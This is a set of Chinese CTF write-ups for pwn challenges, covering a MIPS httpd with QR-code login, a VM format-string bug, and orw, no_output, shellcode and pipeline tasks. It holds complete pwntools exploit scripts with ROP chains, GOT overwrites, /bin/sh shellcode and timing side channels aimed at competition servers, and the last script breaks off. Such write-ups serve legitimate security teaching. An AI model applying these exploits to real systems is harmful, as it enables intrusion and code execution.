类型，但是实际上来源于更高地址上的栈内存，当使用对应的格式化字符时就会跳转到我们想要的函数。于是劫持回调函数为 gets，控制好 gets 读入的内容避免执行流提前 crash 或者触发 canary 错误 （比如填充字节全用大写 A 时会提前 crash 但是用小写 a 就能过，神奇），最终可以实现栈上的 ROP。即使计算了远程 libc，本地和远程的堆布局依然有细微差异，通过分析远程堆应该是没有 vm 对象前的一个 free_chunk，所以导致劫持回调时的偏移不对，减去这个 chunk 大小就可以打通远程。EXP最终 EXP 如下：from pwn import * from LibcSearcher import * import time context.log_level = 'debug' #p = process("./prpr", env={"LD_PRELOAD":"./libc2404.so"}) #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc = ELF('libc2404.so') p = remote("123.56.219.14", 32790) def option1(and_value, size, data:bytes): ''' read mem => bytes and => show mem ''' p.sendline(b'1') p.sendline(str(and_value).encode()) p.sendline(str(size).encode()) p.sendline(data) def option2(and_value, size, data:list[int]): ''' read ints => ints and => show ints ''' p.sendline(b'2') # option p.sendline(str(and_value).encode()) p.sendline(str(size).encode()) for i in data: p.sendline(str(i).encode()) def option3(xor_value, size, data:bytes): ''' read mem => bytes xor => show mem ''' p.sendline(b'3') p.sendline(str(xor_value).encode()) p.sendline(str(size).encode()) p.sendline(data) def option4(xor_value, size, data:list[int]): ''' read ints => ints xor => show ints ''' p.sendline(b'4') # option p.sendline(str(xor_value).encode()) p.sendline(str(size).encode()) for i in data: p.sendline(str(i).encode()) p.recv() def option5(or_value, size, data:bytes): ''' read mem => bytes or => show mem ''' p.sendline(b'5') p.sendline(str(or_value).encode()) p.sendline(str(size).encode()) p.sendline(data) def option6(or_value, size, data:list[int]): ''' read ints => ints or => show ints ''' p.sendline(b'6') # option p.sendline(str(or_value).encode()) p.sendline(str(size).encode()) for i in data: p.sendline(str(i).encode()) def make_vm_code(fmtstr:bytes, arg:int): assert len(fmtstr) <= 8 fmtstr = fmtstr.ljust(8, b"\x00") arg = arg & 0xffffffff return fmtstr + p32(arg) def exp(): #gdb.attach(p, "b *0x555555554000+0x2688\nc\n") #gdb.attach(p, "b *0x555555554000+0x1996\nc\n") #gdb.attach(p, "b *0x555555554000+0x1E00\nc\n") p.recv() option6(0x1, 63, [0xdeadbeef]*64) fake_vm_code = b"A"*8 fake_vm_code += b"FUCK" + b"%p|"*16 + b"\x00" fake_vm_code += b"X"*(0xc-((len(fake_vm_code)-8)%0xc)) fake_vm_code += b"HEAP\x00\x00\x00\x00\x00\x00\x00\x00" fake_vm_code += b"%a%#V%yXXXX\x00" fake_vm_code += b"%a%#V%yXXXX\x00" fake_vm_code += b"%a%#V%yXXXX\x00" fake_vm_code += b"%a%#V%yXXXX\x00" fake_vm_code += make_vm_code(b"%N", 71) fake_vm_code_xor = b"".join([bytes([_c ^ (90 ^ 50)]) for _c in fake_vm_code]) log.info(f"fake_vm_code_xor(len: {len(fake_vm_code_xor)}): {fake_vm_code_xor}") option3((90 ^ 50), len(fake_vm_code_xor)//4, fake_vm_code_xor) # hijack ret_addr to n^90 p.sendline(b"-2171") # (-(0x65cc-8)) // 4 p.recvuntil(b"FUCK") p.recvuntil(b"FUCK") p.recvuntil(b"|") p.recvuntil(b"|") p.recvuntil(b"|") p.recvuntil(b"|") stack_leak = int(p.recvuntil(b"|", drop=True).decode(), 16) log.info(f"stack_leak: {hex(stack_leak)}") canary_leak = int(p.recvuntil(b"|", drop=True).decode(), 16) log.info(f"canary_leak: {hex(canary_leak)}") p.recvuntil(b"|") elf_leak = int(p.recvuntil(b"|", drop=True).decode(), 16) log.info(f"elf_leak: {hex(elf_leak)}") elf_base = elf_leak-0x1fb0 log.info(f"elf_base: {hex(elf_base)}") # ==================================================== #gdb.attach(p, "b *0x555555554000+0x2397\nc\n") p.sendline(b"-1008") p.sendline(b"-1007") p.recvuntil(b"HEAP") heap_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff p.recvuntil(b"XXXX") heap_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff heap_leak = (heap_leak_high << 32) + heap_leak_low heap_base = heap_leak - 0x8d50 curr_mem_chunk_base = heap_base + 0x2680 log.info(f"heap_leak: {hex(heap_leak)}") log.info(f"heap_base: {hex(heap_base)}") log.info(f"curr_mem_chunk_base: {hex(curr_mem_chunk_base)}") puts_got = elf_base + 0x5F58 p.sendline(f"-{(curr_mem_chunk_base-puts_got)//4}".encode()) p.sendline(f"-{(curr_mem_chunk_base-puts_got)//4-1}".encode()) p.recvuntil(b"XXXX") tmp_leak_low = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff p.recvuntil(b"XXXX") tmp_leak_high = int(p.recvuntil(b"\n", drop=True).decode(), 10) & 0xffffffff libc_puts = (tmp_leak_high << 32) + tmp_leak_low log.info(f"libc_puts: {hex(libc_puts)}") libc_base = libc_puts - 0x87bd0 log.info(f"libc_base: {hex(libc_base)}") #pause() # ==================================================== # NEW ROUND # ==================================================== option6(0x1, 63, [0xdeadbeef]*64) # 0xca8 fake_vm_code = b"A"*8 fake_vm_code += b"FUCK" + b"\x00" fake_vm_code += b"X"*(0xc-((len(fake_vm_code)-8)%0xc)) fake_vm_code += b"%a%a%#XDDDD\x00" fake_vm_code += b"%a%a%#XDDDD\x00" #fake_vm_code += b"%a%#V%yXXXX\x00" #fake_vm_code += b"%a%#V%yXXXX\x00" fake_vm_code += b"%APPPPPPPPP\x00" fake_vm_code += b"QWERQWERQWE\x00" fake_vm_code += make_vm_code(b"%Q", 0) fake_vm_code += make_vm_code(b"%a", 0) fake_vm_code_xor = b"".join([bytes([_c ^ (90 ^ 50)]) for _c in fake_vm_code]) log.info(f"fake_vm_code_xor(len: {len(fake_vm_code_xor)}): {fake_vm_code_xor}") #gdb.attach(p, "b *0x555555554000+0x201E\nc\n") option3((90 ^ 50), len(fake_vm_code_xor)//4, fake_vm_code_xor) # hijack ret_addr to n^90 p.sendline(b"-2171") # (-(0x65cc-8)) // 4 # =========================================================== p.recvuntil(b"FUCK") p.recvuntil(b"FUCK") #p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8)//4}".encode()) #p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8)//4-1}".encode()) libc_gets = libc_base + libc.symbols[b"gets"] p.sendline(f"{libc_gets & 0xffffffff}".encode()) p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8-0x410)//4}".encode()) p.sendline(f"{libc_gets >> 32}".encode()) p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8-0x410)//4-1}".encode()) libc_mprotect = libc_base + libc.symbols[b"mprotect"] libc_open = libc_base + libc.symbols[b"open"] libc_read = libc_base + libc.symbols[b"read"] libc_write = libc_base + libc.symbols[b"write"] libc_syscall = libc_base + libc.symbols[b"syscall"] pop_rdi_ret = libc_base + 0x10f75b pop_rsi_ret = libc_base + 0x2b46b # pop rsi ; pop rbp ; ret pop_rdx_ret = libc_base + 0xb502c # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret pop_rax_ret = libc_base + 0xdd237 syscall = libc_base + 0x288b5 payload = b"a"*0xc8 + p64(canary_leak) payload = payload.ljust(0xe8, b"a") + p64(canary_leak) payload = payload.ljust(0x128, b"a") payload += p64(pop_rdi_ret) + p64(elf_base) payload += p64(pop_rsi_ret) + p64(0x3000) + p64(0xdeadbeef) payload += p64(pop_rdx_ret) + p64(7) + p64(0xdeadbeef)*4 payload += p64(libc_mprotect) payload += p64(pop_rdi_ret) + p64(0) payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef) payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4 payload += p64(libc_read) payload += p64(pop_rdi_ret) + p64(2) payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef) payload += p64(pop_rdx_ret) + p64(0) + p64(0xdeadbeef)*4 payload += p64(libc_syscall) payload += p64(pop_rdi_ret) + p64(3) payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef) payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4 payload += p64(libc_read) payload += p64(pop_rdi_ret) + p64(1) payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef) payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4 payload += p64(libc_write) payload += p64(0xdeadbeef) pause() p.sendline(payload) p.send(b"flag\x00") p.recvuntil(b"flag{") flag = p.recvuntil(b"}").decode() log.info(f"flag: flag{{{flag}") p.interactive() if __name__ == "__main__": exp()偷偷吐槽一下垃圾到令人反胃的国内“安全”竞赛环境，距离上次 DEF CON 结束挺久了，好不容易抽出时间打一场比赛还得被恶心
ExperienceReverse"Login" function analysis"Encode" function analysisExploitSeveral waysone_gadget ×do_read_file ×leak ×rewrite got & shellcode √Write shellcodeFull expSummaryExperience这是一个32bit MIPS大端序的httpd。比赛过程挺曲折的，一开始本地调试用的qemu-user没管随机化问题，于是通过在uClibc中手动审计找了一个类似one_gadget的东西拿了shell。但是后来试了试发现远程起在qemu-system，于是就索性试试1/4096看能不能爆到——很遗憾没有hhh。知道远程有随机化后我尝试过几个思路，但是都是差最后一点没构造成功Reverse程序主要逻辑其实就是：解析请求->handle URL->不可描述的一堆处理初步分析后，发现其中被能handle的请求有三种： GET请求/index.html 通过一个函数返回./index.html文件中的内容（这是我其中一个利用思路来源） if (iVar3 != 0) { if ((((req_filename._0_4_ != 0x2f696e64) || (req_filename._4_4_ != 0x65782e68)) || (req_filename._8_4_ != 0x746d6c00)) && (req_filename._0_2_ != 0x2f00)) { while ((vuln_ptr != (char *)0x0 && (line_buf._0_2_ != 0xa00))) { vuln_ptr = (char *)read_line(line_buf,0x400); } http_resp_404_notfound(); return; } do_read_file("./index.html"); return; POST请求/login.html 必须带有两个请求头：Content-Length 和 Content-WWidth 必须要满足：Content-Length == Content-WWidth*Content-WWidth*2 请求体大小为Content-Length，且由0，1串构成，其中可用空格和回车分割 GET请求/encode.html?info= 前提条件是已经完成login，login的状态保存在一个全局变量 如果已经login则会把info参数中的信息进行encode "Login" function analysis一开始的难点是分析程序如何解析login请求体的内容，主要实现在0x1250和0x5160中。通过查看0x5160所引用的一些常量中发现了两个东西： base45编码用的表： 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./: 一个奇怪的7x7矩阵： 1 1 1 1 1 1 1 1 0 0 0 0 0 1 1 0 1 1 1 0 1 1 0 1 1 1 0 1 1 0 1 1 1 0 1 1 0 0 0 0 0 1 1 1 1 1 1 1 1 从读取请求体的逻辑上看基本可以确定是读取的一个NxN矩阵，N值为Content-WWidth。在后续过程中程序用上述7x7矩阵和输入矩阵多个位置进行了比对。在查阅base45实现的过程中发现base45常常被用在某些二维码识别模块，遂恍然大悟：程序在做的其实是解析0，1串表示的二维码。上述比较过程其实就是确定二维码三个角上的定位点。我们只要将passwd用qrcode库编码后POST到/login.html即可实现登录。password前四位是启动时随机生成的，后四位是一个固定的程序地址。如果能能拿到passwd即同时完成了程序地址leak。观察二维码解码后处理的逻辑： if (((content_length - 1U < 0xb40) && (content_wwidth - 1U < 0x26)) && (content_wwidth * content_wwidth * 2 == content_length)) { set_glo_mem(0,content_wwidth); passwd._0_4_ = 0; passwd._4_4_ = 0; passwd._8_4_ = 0; passwd._12_4_ = 0; passwd._16_4_ = 0; passwd._20_4_ = 0; passwd._24_4_ = 0; passwd._28_4_ = 0; passwd._32_4_ = 0; strncpy(passwd,glo_mem_2,0x20); uVar4 = strcmp(glo_rand_byte_array,passwd); passwd._32_4_ = passwd._32_4_ & 0xffffff | (uVar4 & 0xff) << 0x18; if ((uVar4 & 0xff) != 0) { memset(input_data,0,0x40); sprintf(input_data,"Wrong password: %s",passwd); http_resp_500_internal_error(input_data); return; } glo_is_login = 1; http_resp_login_success(); return; strcmp的过程中第一个不相等的字符与正确字符的差值会被保存到uVar4，经过一个运算后存放在passwd[32]的位置上，而passwd最大长度为0x20，这样会导致这个值被leak出来，于是可以通过侧信道爆破的方式计算出正确的passwd值。"Encode" function analysisEncode逻辑同样是非常复杂，但是在实际测试的时候我找到了一个可以刚好覆盖到返回地址的栈溢出。但是返回地址的值不能直接由输入值控制，会经过一些运算处理，当然时间原因比赛过程是不可能一点一点逆完的。好在这个运算可以逆运算，只是不能任意地址跳转了，只能任意跳转到末尾为0（16进制最后一位）的地址。溢出请求的构造结构大致如下:GET /encode.html?info=1&info=xxxxxxxxxx \r\n同时通过动态调试发现，在跳转前，栈上残留了上一次http请求中头部字段残余的值。于是想到可以把ROP参数利用请求头构造到栈上，然后跳转到合适的gadget上进行控制流劫持。ExploitSeveral ways关于利用，列出当时的几个失败思路和成功的思路one_gadget ×注意：此one_gadget非真正的one_gadget，只是思路上类似审计uClibc中有调用到/bin/sh字符串的所有位置，发现有一个地址末位为0的片段，正常执行下去不会报错，并且发生类似execl("/bin/sh", ["/bin/sh", "-c", "xxxx"] ,env)的调用，其中xxx取自sp+偏移处保存的指针...这不正好可以控制参数并getshell000489e0 8f 86 80 54 lw a2,-0x7fac(gp)=>PTR_000b0444 = 000a0000 000489e4 8f 85 80 54 lw __modes,-0x7fac(gp)=>PTR_000b0444 = 000a0000 000489e8 8f 84 80 54 lw __command,-0x7fac(gp)=>PTR_000b0444 = 000a0000 000489ec 8f 99 84 58 lw t9,-0x7ba8(gp)=>->execl = 00069290 000489f0 24 c6 96 28 addiu a2=>DAT_00099628,a2,-0x69d8 = 2Dh - 000489f4 8f a7 00 70 lw a3,local_res0(sp) 000489f8 24 a5 97 38 addiu __modes=>DAT_00099738,__modes,-0x68c8 = 73h s 000489fc 24 84 96 20 addiu __command=>s_/bin/sh_00099620,__command,-0x69e0 = "/bin/sh" 00048a00 03 20 f8 09 jalr t9=>execl int execl(char * __path, char * ... 虽然如开头所说这个思路由于远程随机化破产了，但是我认为在实际利用中依然是一个思考方向do_read_file ×在访问/index.html时会调用一个读文件函数do_read_file("./index.html")，这个函数只需要用两段gadget，分别从栈上读参数，把参数加载到$a0上即可完成任意文件读。但是本题在所有已知地址中都无法构造出./flag来，所以利用失败。leak ×这个思路尝试调用程序中返回http请求错误信息或者返回解码结果的函数（同样只需要控制$a0），来泄露got表保存的地址。然而泄露容易，当想控制泄露完后执行流时发现找不到合适的gadget（也许是我没找到而已）。简而言之，这样的gadget大致需要满足：能够jr某个可控寄存器跳到被控函数且跳转前将$ra设为可控值。这样在函数内部将$ra保存到栈，并取出$ra值返回的时候，跳到的便是可控地址。rewrite got & shellcode √之前查到好多例子都是以调用shellcode结尾，但是在checksec的时候发现开了NX保护就没想这方面。后来从科恩的师傅那了解到由于缺乏硬件支持，mips是没有NX保护的（这里还有点疑惑），可以劫持got表跳转到shellcode。那么问题来了，如何找到能写完got表之后就能调用被修改表项的指针，而且不报错的位置？如果用rop分别进行修改和调用那么又会面临leak思路中遇到的问题。他的思路是跳到了0x1170的位置，这里是一个从已打开的文件描述符（fd）读取（用的read）内容并写到输出流上的函数：void return_page_content(int fd) { size_t rn; undefined file_buf [1028]; while( true ) { rn = read(fd,file_buf,0x400); if (rn != 0x400) break; write(1,file_buf,0x400); } write(1,file_buf,rn); return; } 观察反汇编： 00011170 8f bc 00 10 lw gp,local_418(sp) LAB_00011174 XREF[1]: 00011164(j) 00011174 8f 99 81 58 lw t9,-0x7ea8(gp)=>->read = 00018940 00011178 02 00 28 25 or a1,s0,zero 0001117c 02 20 20 25 or fd,s1,zero 00011180 03 20 f8 09 jalr t9=>read ssize_t read(int __fd, void * __ 00011184 24 06 04 00 _li a2,0x400 00011188 8f bc 00 10 lw gp,local_418(sp) 0001118c 24 03 04 00 li v1,0x400 00011190 24 06 04 00 li a2,0x400 00011194 02 00 28 25 or a1,s0,zero 00011198 24 04 00 01 li fd,0x1 0001119c 10 43 ff f3 beq rn,v1,LAB_0001116c 000111a0 8f 99 81 6c _lw t9,-0x7e94(gp)=>->write = 00018920 000111a4 03 20 f8 09 jalr t9=>write ssize_t write(int __fd, void * _ 可以发现，其中几个关键参数都可以控制： gp寄存器从栈上取得，可以控制，这关系到如何取出read函数的地址。由于之前已经leak了程序地址，所以这一步可以通过计算得到正确的gp偏移 gp_val = 0x80007870 + (elf_base - 0x7ffe6000) read的第一个参数由$s0控制，第二个参数由$s1控制，大部分gadget可控（此处依然最好选取0结尾处的gadget） 控制read写write的got表为shellcode地址，而shellcode可以直接从write_got+4的位置开始覆盖，也就是：[wrtie_got] -> wrtie_got+4 gadget选用如下： .text:000083F0 sll $v0, 1 .text:000083F4 lw $v1, 0x24($sp) .text:000083F8 lw $ra, 0x4C($sp) .text:000083FC lw $fp, 0x48($sp) .text:00008400 lw $s7, 0x44($sp) .text:00008404 lw $s6, 0x40($sp) .text:00008408 lw $s5, 0x3C($sp) .text:0000840C lw $s4, 0x38($sp) .text:00008410 addu $v0, $v1, $v0 .text:00008414 lw $s3, 0x34($sp) .text:00008418 lw $s2, 0x30($sp) .text:0000841C lw $s1, 0x2C($sp) .text:00008420 lw $s0, 0x28($sp) .text:00008424 jr $ra Write shellcode最后详解一下mips下shellcode编写技巧，因为虽然大致思路与x86类似，但是用些mips way可以让shellcode更精炼下面是我用的shellcode： xor $a0, $a0 xor $a1, $a1 xor $a2, $a2 xor $v0, $v0 bal exec nop .string "/bin/sh" exec: move $a0, $ra li $v0, 0xFAB syscall nop 可以看到参数传递不是通过常数加载到寄存器，寄存器存栈，然后传栈指针的笨方式，而是先在代码中嵌入了一段string，在string前bal exec，这样string所在地址就会作为返回地址保存在$ra寄存器中，下面只需要把$ra给到$a0就完成了参数控制。注意，由于mips架构中指令预取特性的存在，bal后面需要用一条nop指令来填充（这部分原因在大二计组课程会提到，不赘述）另一个要注意的点是调用号为0xFAB，也就是4000+11，MIPS架构的Linux系统有如下宏：在linux-xxx/arch/mips/include/uapi/syscall.h可以看到#ifndef __NR_syscall /* Only defined if _MIPS_SIM == _MIPS_SIM_ABI32 */ #define __NR_syscall 4000 #endif 而在linux-xxx/arch/mips/kernel/syscalls/syscall_o32.tbl可以看到execve调用号为11最后的系统调用号是__NR_syscall+11构成，也就是0xFABFull expfrom pwn import * import sys import qrcode if len(sys.argv) == 2 and sys.argv[1] == "debug": p = process(["qemu-mips", "-g", "1234", "--singlestep", "-L", "./", "./qwbhttpd"]) elif len(sys.argv) == 2 and sys.argv[1] == "remote": p = remote("172.20.5.22", 11258) #p = remote("127.0.0.1", 2333) else: p = process(["qemu-mips", "-L", "./", "./qwbhttpd"]) context.log_level = "debug" context.arch = "mips" context.endian = "big" def get_qr_matrix(data:bytes): qr = qrcode.QRCode( version=1, error_correction=qrcode.constants.ERROR_CORRECT_L, box_size=1, border=0, ) qr.add_data(data) qr.make(fit=True) qr.print_ascii() #print(dir(qr)) raw_matrix = qr.get_matrix() return raw_matrix def matrix_serialize(qr_matrix): res = b"" for i in qr_matrix: for j in i: num = b"1" if j==True else b"0" res += num + b" " return res def burp_pass(pad): req = b"POST /login.html HTTP/1.1\r\n" matrix = get_qr_matrix(pad.ljust(0x20, b"\x01")) wwidth = len(matrix) data = matrix_serialize(matrix) req += b"Content-Length: " + str(wwidth*wwidth*2).encode() + b"\r\n" req += b"Content-WWidth: " + str(wwidth).encode() + b"\r\n" req += b"\r\n" req += data print("Data length:", len(data)) p.send(req) def login(passwd): req = b"POST /login.html HTTP/1.1\r\n" matrix = get_qr_matrix(passwd) wwidth = len(matrix) data = matrix_serialize(matrix) req += b"Content-Length: " + str(wwidth*wwidth*2).encode() + b"\r\n" req += b"Content-WWidth: " + str(wwidth).encode() + b"\r\n" req += b"\r\n" req += data print("Data length:", len(data)) p.send(req) # hex(0 & 0xffffff | (-(ord("A")-0x51) & 0xff) << 0x18 ) def encode(data=b""): req = b"GET /encode.html?info="+ data + b" HTTP/1.1\r\n" req += b"\r\n" p.send(req) def vuln(data=b""): req = b"GET /encode.html?info=1&info=" + data + b" HTTP/1.1\r\n" req += b"\r\n" p.send(req) def calc_addr(raw_addr): def get_idx_num(num:int, idx:int): return (num >> ((7-idx)*4)) & 0xf num = 0 num += ((raw_addr&0x0ffffff0)<<4) + get_idx_num(raw_addr, 0) print(hex(num)) return num def exp(): # burp_password passwd = b"" for i in range(8): burp_pass(passwd) p.recvuntil(b"Wrong password: ") p.recv(32) leak_byte = p.recv(1) passwd += bytes([0x1+u8(leak_byte)]) print("Curr passwd:", passwd.hex(" ")) # login login(passwd) # calc base leak_addr = u32(passwd[4:]) elf_base = leak_addr - 0x19d60 libc_base = elf_base - 0x8d3000 print("leak_addr:", hex(leak_addr)) print("libc_base:", hex(libc_base)) print("elf_base:", hex(elf_base)) # local # base: 0x7ffe6000 # libc: 0x7f713000 ''' .text:000083F0 sll $v0, 1 .text:000083F4 lw $v1, 0x24($sp) .text:000083F8 lw $ra, 0x4C($sp) .text:000083FC lw $fp, 0x48($sp) .text:00008400 lw $s7, 0x44($sp) .text:00008404 lw $s6, 0x40($sp) .text:00008408 lw $s5, 0x3C($sp) .text:0000840C lw $s4, 0x38($sp) .text:00008410 addu $v0, $v1, $v0 .text:00008414 lw $s3, 0x34($sp) .text:00008418 lw $s2, 0x30($sp) .text:0000841C lw $s1, 0x2C($sp) .text:00008420 lw $s0, 0x28($sp) .text:00008424 jr $ra ''' gadget1 = elf_base+0x83F0 write_got = elf_base+0x199DC target = elf_base+0x1170 # read write gp_val = 0x80007870 + (elf_base - 0x7ffe6000) # build ROP req = b"POST /login.html HTTP/1.1\r\n" matrix = get_qr_matrix(passwd) wwidth = len(matrix) data = matrix_serialize(matrix) req += b"Content-Length: " + str(wwidth*wwidth*2).encode() + b"\r\n" req += b"Content-WWidth: " + str(wwidth).encode() + b"\r\n" req += b"AAAAAAAA: AAAAAA" f = { 0x28-0x28: p32(write_got) + p32(0),# s0:write_got s1:0 0x4c-0x28: p32(target), # ra -> target 0x28+0x10:(gp_val), # gp } rop = fit(f) req += rop + b"\r\n" req += b"\r\n" req += data p.send(req) print("gadget1:", hex(gadget1)) vuln(p32(calc_addr(gadget1))*0x30) shellcode = asm(''' xor $a0, $a0 xor $a1, $a1 xor $a2, $a2 xor $v0, $v0 bal exec nop .string "/bin/sh" exec: move $a0, $ra li $v0, 0xFAB syscall nop ''') p.send(p32(write_got+4) + shellcode) p.interactive() if __name__ == "__main__": exp() SummaryMIPS可能在Iot安全研究中经常见到，很多东西不如x86那么直观。打好基础，通过迁移运用的方式发现利用思路很重要。对了，对uClibc利用方式感兴趣的可以看看我之前发的有关uClibc下malloc机制利用思路的文章。
线上赛撞了四六级麻了hhhban完一堆队伍之后喜提线下hhhorwno_outputshellcodepipelinebabypwnnotebookorw堆有rwx权限，下标溢出写got函数为堆地址，在两个堆块上拼接shellcode调用read读入shellcode进行orw拿flagfrom pwn import * #p = process("./pwn", env={"LD_PRELOAD":"./libc-2.23.so ./libseccomp.so.0"}) p = remote("39.105.131.68", 12354) context.log_level = "debug" context.arch = "amd64" elf = ELF("./pwn") libc = ELF("./libc-2.23.so") def add(idx:int, size:int, content): p.sendlineafter(b"choice >>\n", b"1") p.sendlineafter(b"index:\n", str(idx).encode()) p.sendlineafter(b"size:\n", str(size).encode()) p.sendafter(b"content:\n", content) def delete(idx:int): p.sendlineafter(b"choice >>\n", b"4") p.sendlineafter(b"index:\n", str(idx).encode()) def exp(): #gdb.attach(p, "b *0x0000555555554000+0xFE7\nc\n") offset = (0x0000555555554000+0x2020E0 - 0x555555756018)//8 print("offset:", hex(offset)) shellcode_1 = ''' mov rsi, rdi; xor rax, rax; jmp $+0x1a; ''' shellcode_1 = asm(shellcode_1) shellcode_2 = ''' xor rdi, rdi; mov edx, ecx; syscall; ''' shellcode_2 = asm(shellcode_2) print("len(shellcode_1):", hex(len(shellcode_1))) print(shellcode_1) print("len(shellcode_2):", hex(len(shellcode_2))) print(shellcode_2) add(-offset, 8, shellcode_1) add(0, 8, shellcode_2.ljust(8, b"\x90")) delete(0) orw = ''' push 0; push 0x67616c66; mov rdi, rsp; mov rsi, 0; mov rax, 2; syscall; mov rdi, rax; mov rsi, rsp; mov rdx, 0xff; mov rax, 0; syscall; mov rdi, 0; mov rsi, rsp; mov rdx, 0xff; mov rax, 1; syscall; ''' p.send(b"\x90"*0x10+asm(orw)) #gdb.attach(p) p.interactive() if __name__ == "__main__": exp() no_output这是个非预期解法，通过MIN_INT/-1触发异常handler实现栈溢出，构造ROP链借助check函数来侧信道爆破flagfrom pwn import * import time elf = ELF("./test") #context.log_level = "debug" context.arch = "i386" elf_open = elf.plt[b"open"] elf_read = elf.plt[b"read"] bss_secret = 0x804C034 flag_name = 0x804A0D3 bss_name = 0x804C060 table = b"abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890{}-_@$&*!?." final_flag = b"" def exp(guess, c_idx): global final_flag global p #p = process("./test") p = remote("39.105.138.97", 1234) # tell me some thing p.send(b"a"*0x30) # Tell me your name:\n p.send((b"\x00"*8 + b"f" + b"\x00").ljust(0x20, b"b")) # now give you the flag\n # xxxx # give me the soul: p.sendline(b"-2147483648") # give me the egg: p.sendline(b"-1") # handler stkof #gdb.attach(p,"b *0x8049385\nc\n") offset = 0x48 # to ebp pop_edi_ebp_ret = 0x08049582 pop_esi_edi_ebp_ret = 0x08049581 pop_ebx_esi_edi_ebp_ret = 0x08049580 payload1 = b"a"*offset + p32(0xdeadbeef) payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss_name+0x20) + p32(5) # read(0, input_byte, 0x2) payload1 += p32(elf_open) + p32(pop_edi_ebp_ret) + p32(bss_name+0x20) + p32(0) # open(flag_name, 0) payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(4) + p32(bss_secret) + p32(0xff) # read(fd, secret, 0xff) payload1 += p32(elf_read) + p32(pop_esi_edi_ebp_ret) + p32(0) + p32(bss_name) + p32(2) # read(0, input_byte, 0x2) payload1 += p32(0x80494d6) + p32(bss_secret+c_idx) + p32(bss_name) # control check_flag() p.send(payload1.ljust(0x100, b"\x00")) #time.sleep(0.5) p.send(b"flag\x00") p.send(guess + b"\x00") try: p.recv(timeout=1) final_flag += guess print("Curr flag:", final_flag) #pause() p.close() return True except: #print("Incorrect:", guess) print("Curr flag:", final_flag) p.close() return False if __name__ == "__main__": for i in range(20, 40): print("Round: ", i) for c in table: if exp(bytes([c]), i): break print("Curr flag:", final_flag) #qwb{n0_1nput_1s_great!!!} shellcode模式切换shellcode，字符范围限制: (0x1f, 0x7f)用点小技巧，先alpha_shellcode自覆盖解除字符限制，然后mmap两个低地址段分别给后续shellcode和栈（防止切换到x86后出现段错误）orw的最后一步w用alarm实现，通过多线程时间侧信道爆flagfrom pwn import * import sys import time import threading def exp(flag_idx:int): #p = process("./shellcode") p = remote("39.105.137.118", 50050) #context.log_level = "debug" context.arch = "amd64" # build read alpha_read = b"Vh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103e0y4y8m2M114F1n0i0b2E3c4o2A7n010F" payload = alpha_read p.send(payload) # read mmap shellcode # mmap new shellcode area time.sleep(0.2) payload = b"\x90"*0x50 shellcode_mmap_raw = ''' mov rdi, 0x100000; mov rsi, 0x20000; mov rdx, 7; mov r10d, 0x22; mov r8d, 0xffffffff; mov r9d, 0; mov rax, 9; syscall; mov rdi, 0x200000; mov rsi, 0x20000; mov rdx, 7; mov r10d, 0x22; mov r8d, 0xffffffff; mov r9d, 0; mov rax, 9; syscall; mov rdi, 0 mov rsi, 0x100000 mov rdx, 0x1000 mov rax, 0; syscall; call rsi; ''' payload += asm(shellcode_mmap_raw) p.send(payload) #gdb.attach(p, "b *0x100001\nc\n") # read new shellcode time.sleep(0.5) shellcode_to_x86 = ''' push 0x23; push 0x100020; retfq; ''' shellcode_open = ''' mov esp, 0x210000; push 0; push 0x67616c66; mov ebx, esp; mov rcx, 0; mov eax, 5; int 0x80; ''' shellcode_to_x64 = ''' push 0x33; push 0x100050; retf; ''' shellcode_read = ''' mov rdi, rax; mov rsi, 0x100000; mov rdx, 0x40; mov rax, 0; syscall; nop; ''' char_addr = 0x100000+flag_idx shellcode_alarm = ''' xor rax, rax; mov al, byte ptr [{}]; //mov al, 0x3; mov rdi, rax; mov rax, 37; syscall; HERE: jmp HERE ''' payload = asm(shellcode_to_x86) payload = payload.ljust(0x20, b"\x90") payload += asm(shellcode_open) payload += asm(shellcode_to_x64) payload = payload.ljust(0x50, b"\x90") payload += asm(shellcode_read) payload += asm(shellcode_alarm.format(hex(char_addr))) p.send(payload) print("WAITING IDX: ", flag_idx) start = time.perf_counter() try: p.recv() except: print("ALARM!") end = time.perf_counter() pass_time = int(end-start) flag[flag_idx] = pass_time print(flag_idx, "May be char:", bytes([pass_time])) p.close() if __name__ == "__main__": pool = [] flag = [0]*0x26 for i in range(0, 0x26): t = threading.Thread(target=exp, args=(i,)) pool.append(t) t.setDaemon(True) sleep(1) t.start() for t in pool: t.join() print("FLAG:", bytes(flag)) #flag{cdc31bf52a72521c93b690ad1978856d} pipeline隐蔽的堆溢出，通过设置append size为0x800000f0达到堆溢出的目的from pwn import * #p = process("./pipeline", env = {"LD_PRELOAD":"./libc-2.31.so"}) p = remote("59.110.173.239", 2399) elf = ELF("./pipeline") libc = ELF("./libc-2.31.so") context.log_level = "debug" context.arch = "amd64" def add(): p.sendlineafter(b">> ", b"1") def edit(idx:int, size:int, offset:int): p.sendlineafter(b">> ", b"2") p.sendlineafter(b"index: ", str(idx).encode()) p.sendlineafter(b"offset: ", str(offset).encode()) p.sendlineafter(b"size: ", str(size).encode()) def delete(idx:int): p.sendlineafter(b">> ", b"3") 